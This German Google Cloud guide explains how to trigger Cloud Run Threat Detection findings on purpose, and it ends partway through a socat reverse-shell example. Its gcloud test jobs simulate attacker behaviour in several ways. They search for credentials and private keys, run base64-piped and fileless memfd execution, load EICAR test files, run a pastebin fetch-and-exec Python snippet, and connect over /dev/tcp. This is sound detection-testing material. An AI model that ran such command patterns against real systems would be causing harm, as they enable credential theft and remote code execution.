Cloud Run Threat Detection testen

Auf dieser Seite wird beschrieben, wie Sie prüfen, ob Cloud Run Threat Detection funktioniert, indem Sie Detektoren absichtlich auslösen und nach Ergebnissen suchen. Die Cloud Run-Bedrohungserkennung ist ein integrierter Dienst von Security Command Center.

Hinweis

Damit potenzielle Bedrohungen für Ihre Cloud Run-Dienste und -Jobs erkannt werden können, muss der Cloud Run Threat Detection-Dienst in Security Command Center aktiviert sein. Einige Detektoren sind standardmäßig deaktiviert. Wenn Sie diese Detektoren testen möchten, müssen Sie zuerst die entsprechenden Module aktivieren. Weitere Informationen finden Sie unter Deaktivierte Laufzeitdetektoren.

Umgebungsvariablen festlegen

Verwenden Sie zum Testen von Detektoren die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um Befehle einfacher auszuführen. Mit diesen Variablen testen Sie alle Detektoren.

  1. Rufen Sie die Google Cloud Console auf.

    Rufen Sie die Google Cloud Console auf.

  2. Wählen Sie das Projekt aus, das den Cloud Run-Job enthält, den Sie für den Test verwenden möchten.

  3. Klicken Sie auf Cloud Shell aktivieren.

  4. Legen Sie in Cloud Shell die Umgebungsvariablen fest:

    1. Legen Sie das Projekt und die Region fest, in der Sie Testjobs erstellen möchten.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

Nachdem Sie die Umgebungsvariablen festgelegt haben, können Sie mit der Anleitung zum Testen von Detektoren fortfahren.

Command and Control: Steganographie-Tool erkannt

Wenn Sie ein Command and Control: Steganography Tool Detected-Ergebnis (Vorschau) auslösen möchten, führen Sie eine Binärdatei mit Funktionen zur Dateimanipulation aus, die mit Steganografietools in einem Container konsistent sind. In diesem Beispiel wird /bin/ls kopiert und in steghide umbenannt.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Command and Control: Steganography Tool Detected-Ergebnis erstellt.

Zugriff auf Anmeldedaten: Google Cloud -Anmeldedaten finden

Führen Sie eine Binärdatei aus, die Dateiinhalte in einem Container durchsuchen kann, um ein Credential Access: Find Google Cloud Credentials-Ergebnis auszulösen. In diesem Beispiel wird /bin/ls kopiert, in grep umbenannt und mit verdächtigen Argumenten ausgeführt.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Credential Access: Find Google Cloud Credentials-Ergebnis erstellt.

Zugriff auf Anmeldedaten: Ausspähung von GPG-Schlüsseln

Wenn Sie ein Credential Access: GPG Key Reconnaissance-Ergebnis auslösen möchten, führen Sie ein Suchtool mit verdächtigen Argumenten aus.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Credential Access: GPG Key Reconnaissance-Ergebnis erstellt.

Zugriff auf Anmeldedaten: Suche nach privaten Schlüsseln oder Passwörtern

Führen Sie ein Suchtool mit verdächtigen Argumenten aus, um ein Credential Access: Search Private Keys or Passwords-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Credential Access: Search Private Keys or Passwords-Ergebnis erstellt.

Defense Evasion: Base64 ELF File Command Line

Um ein Defense Evasion: Base64 ELF File Command Line-Ergebnis auszulösen, führen Sie base64 mit codierten ELF-Header-Argumenten aus.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren sollten zwei Defense Evasion: Base64 ELF File Command Line-Ergebnisse erstellt werden.

Defense Evasion: Base64 Encoded Python Script Executed

Führen Sie echo mit einem codierten Python-Befehl aus, um ein Defense Evasion: Base64 Encoded Python Script Executed-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Defense Evasion: Base64 Encoded Python Script Executed-Ergebnis erstellt.

Defense Evasion: Base64 Encoded Shell Script Executed

Führen Sie echo mit einem codierten Shell-Befehl aus, um ein Defense Evasion: Base64 Encoded Shell Script Executed-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Defense Evasion: Base64 Encoded Shell Script Executed-Ergebnis erstellt.

Defense Evasion: Compiler-Tool für Code im Container gestartet

Führen Sie ein Compiler-Tool aus, um ein Defense Evasion: Launch Code Compiler Tool In Container-Ergebnis (Vorschau) auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Defense Evasion: Launch Code Compiler Tool In Container-Ergebnis erstellt.

Ausführung: hinzugefügtes schädliches Binärprogramm ausgeführt

Wenn Sie ein Execution: Added Malicious Binary Executed-Ergebnis auslösen möchten, fügen Sie Ihrem Container ein schädliches Binärprogramm (EICAR) hinzu und führen Sie es aus.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Added Malicious Binary Executed-Ergebnis erstellt.

Ausführung: hinzugefügte schädliche Bibliothek geladen

Wenn Sie ein Execution: Added Malicious Library Loaded-Ergebnis auslösen möchten, fügen Sie Ihrem Container eine schädliche Bibliothek hinzu und laden Sie sie. In diesem Beispiel wird die Datei /tmp/test_mal_lib mit einer simulierten schädlichen Bibliothek aktualisiert und dann mit mmap geladen. Das Laden einer vorhandenen Datei aus der Bibliothek ist unerwartet, da die Datei nicht im ursprünglichen Container-Image enthalten war und die Bibliothek eine EICAR-Testdatei ist, die von Threat Intelligence als schädlich eingestuft wird.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Added Malicious Library Loaded-Ergebnis erstellt.

Ausführung: Container-Escape

Führen Sie ein Tool aus, das das Verhalten eines Container-Escape simuliert, um ein Execution: Container Escape-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Container Escape-Ergebnis erstellt.

Ausführung: Dateilose Ausführung in /memfd:

Wenn Sie ein Execution: Fileless Execution in /memfd:-Ergebnis auslösen möchten, führen Sie mit Python einen Prozess aus dem In-Memory-Dateisystem /memfd: aus.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command bash \
      --args "-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Fileless Execution in /memfd:-Ergebnis erstellt.

Execution: Kubernetes Attack Tool Execution

Führen Sie ein Programm aus, das einem bekannten Angriffstool entspricht, um ein Execution: Kubernetes Attack Tool Execution-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Kubernetes Attack Tool Execution-Ergebnis erstellt.

Ausführung: Ausführung eines lokalen Ausspähtools

Führen Sie ein Programm aus, das einem Ausspähungstool entspricht, um ein Execution: Local Reconnaissance Tool Execution-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Local Reconnaissance Tool Execution-Ergebnis erstellt.

Ausführung: Schädlicher Python-Code ausgeführt

Führen Sie ein Python-Skript aus, das schädliches Verhalten imitiert, um ein Execution: Malicious Python Executed-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE="import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/python:latest \
      --task-timeout 700 \
      --command bash \
      --args "-c","sleep 601; python -c \"${PYTHON_CODE}\" ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Malicious Python Executed-Ergebnis erstellt. Beachten Sie, dass es bis zu 15 Minuten dauern kann, bis dieser Test ein Ergebnis liefert.

Ausführung: Geändertes schädliches Binärprogramm ausgeführt

Wenn Sie ein Execution: Modified Malicious Binary Executed-Ergebnis auslösen möchten, ändern Sie eine Binärdatei so, dass sie mit einer bekannten schädlichen Signatur (EICAR) übereinstimmt.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Modified Malicious Binary Executed-Ergebnis erstellt.

Ausführung: Geänderte schädliche Bibliothek geladen

Wenn Sie ein Execution: Modified Malicious Library Loaded-Ergebnis auslösen möchten, ändern Sie eine vorhandene Datei mit einer schädlichen Bibliothek in Ihrem Container und laden Sie sie. In diesem Beispiel wird die Datei /etc/issue mit einer simulierten schädlichen Bibliothek aktualisiert und dann mit mmap geladen. Das Laden einer vorhandenen Datei durch die Bibliothek ist unerwartet, da es sich bei der Bibliothek um eine EICAR-Testdatei handelt, die von Threat Intelligence als schädlich eingestuft wird.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Modified Malicious Library Loaded-Ergebnis erstellt.

Ausführung: hinzugefügter schädlicher Skill ausgeführt

Wenn Sie ein Execution: Added Malicious Skill Executed-Ergebnis auslösen möchten, fügen Sie Ihrem Container eine schädliche Skill-Binärdatei hinzu und führen Sie sie aus.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

   b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
   JOB_NAME="crtd-test-added-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo '$b64_payload' | base64 -d > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10; sha256sum /tmp/test_mal_file" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Added Malicious Skill Executed-Ergebnis erstellt.

Ausführung: Geänderter schädlicher Skill ausgeführt

Wenn Sie ein Execution: Modified Malicious Skill Executed-Ergebnis auslösen möchten, ändern Sie eine Binärdatei so, dass sie mit einer bekannten schädlichen Skill-Signatur übereinstimmt.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

   b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
   JOB_NAME="crtd-test-mod-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo '$b64_payload' | base64 -d > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10; sha256sum /etc/issue" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Modified Malicious Skill Executed-Ergebnis erstellt.

Ausführung: hinzugefügter schädlicher Skill geladen

Wenn Sie ein Execution: Added Malicious Skill Loaded-Ergebnis auslösen möchten, fügen Sie Ihrem Container eine schädliche Skill-Bibliothek hinzu und laden Sie sie. In diesem Beispiel wird die Datei /tmp/test_mal_lib mit einer simulierten schädlichen Skill-Bibliothek aktualisiert und dann mit mmap geladen. Das Laden der Bibliothek einer vorhandenen Datei ist unerwartet, da die Datei nicht im ursprünglichen Container-Image enthalten war und die Bibliothek einen bestimmten Test-Hash enthält, der von Threat Intelligence als schädliche Fähigkeit eingestuft wird.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
JOB_NAME="crtd-test-add-malicious-skill-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << EOF2 > ${JOB_NAME}.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo '$b64_payload' | base64 -d > /tmp/test_mal_lib
chmod 700 /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
sha256sum /tmp/test_mal_lib
EOF2
ENCODED_SCRIPT=$(base64 -w 0 ${JOB_NAME}.sh)
rm -f ${JOB_NAME}.sh
gcloud run jobs create $JOB_NAME \
   --project $PROJECT \
   --region $REGION \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --command bash \
   --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
   --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Added Malicious Skill Loaded-Ergebnis erstellt.

Ausführung: Geänderter schädlicher Skill geladen

Wenn Sie ein Execution: Modified Malicious Skill Loaded-Ergebnis auslösen möchten, ändern Sie eine vorhandene Datei mit einer bösartigen Skill-Bibliothek in Ihrem Container und laden Sie sie. In diesem Beispiel wird die Datei /etc/issue mit einer simulierten schädlichen Skill-Bibliothek aktualisiert und dann mit mmap geladen. Das Laden einer vorhandenen Datei durch die Bibliothek ist unerwartet, da die Bibliothek einen bestimmten Test-Hash enthält, der von Threat Intelligence als bösartige Fähigkeit eingestuft wird.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
JOB_NAME="crtd-test-mod-malicious-skill-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << EOF2 > ${JOB_NAME}.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo '$b64_payload' | base64 -d > /etc/issue
chmod 700 /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
sha256sum /etc/issue
EOF2
ENCODED_SCRIPT=$(base64 -w 0 ${JOB_NAME}.sh)
rm -f ${JOB_NAME}.sh
gcloud run jobs create $JOB_NAME \
   --project $PROJECT \
   --region $REGION \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --command bash \
   --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
   --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Modified Malicious Skill Loaded-Ergebnis erstellt.

Ausführung: Netcat-Remote-Codeausführung im Container

Führen Sie netcat mit verdächtigen Argumenten aus, um ein Execution: Netcat Remote Code Execution In Container-Ereignis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Netcat Remote Code Execution In Container-Ergebnis erstellt.

Ausführung: Mögliche Ausführung beliebiger Befehle über CUPS (CVE-2024-47076)

Führen Sie ein Skript aus, das den Exploit simuliert, um ein Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)-Ergebnis erstellt.

Ausführung: Mögliche Remote-Befehlsausführung erkannt

Führen Sie einen Befehl aus, der eine Remoteverbindung herstellt, um ein Execution: Possible Remote Command Execution Detected-Ergebnis (Vorschau) auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Possible Remote Command Execution Detected-Ergebnis erstellt.

Ausführung: Programmausführung mit nicht zulässiger HTTP-Proxy-Umgebung

Führen Sie ein Programm mit einer fehlerhaften Proxy-Umgebungsvariable aus, um ein Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnis auszulösen.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnis erstellt.

Ausführung: Socat-Reverse-Shell erkannt

Wenn Sie ein Execution: Socat Reverse Shell Detected-Ergebnis auslösen möchten, richten Sie mit dem Dienstprogramm socat eine Reverse-Shell ein.

Erstellen Sie den Cloud Run-Job und führen Sie ihn aus:

JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
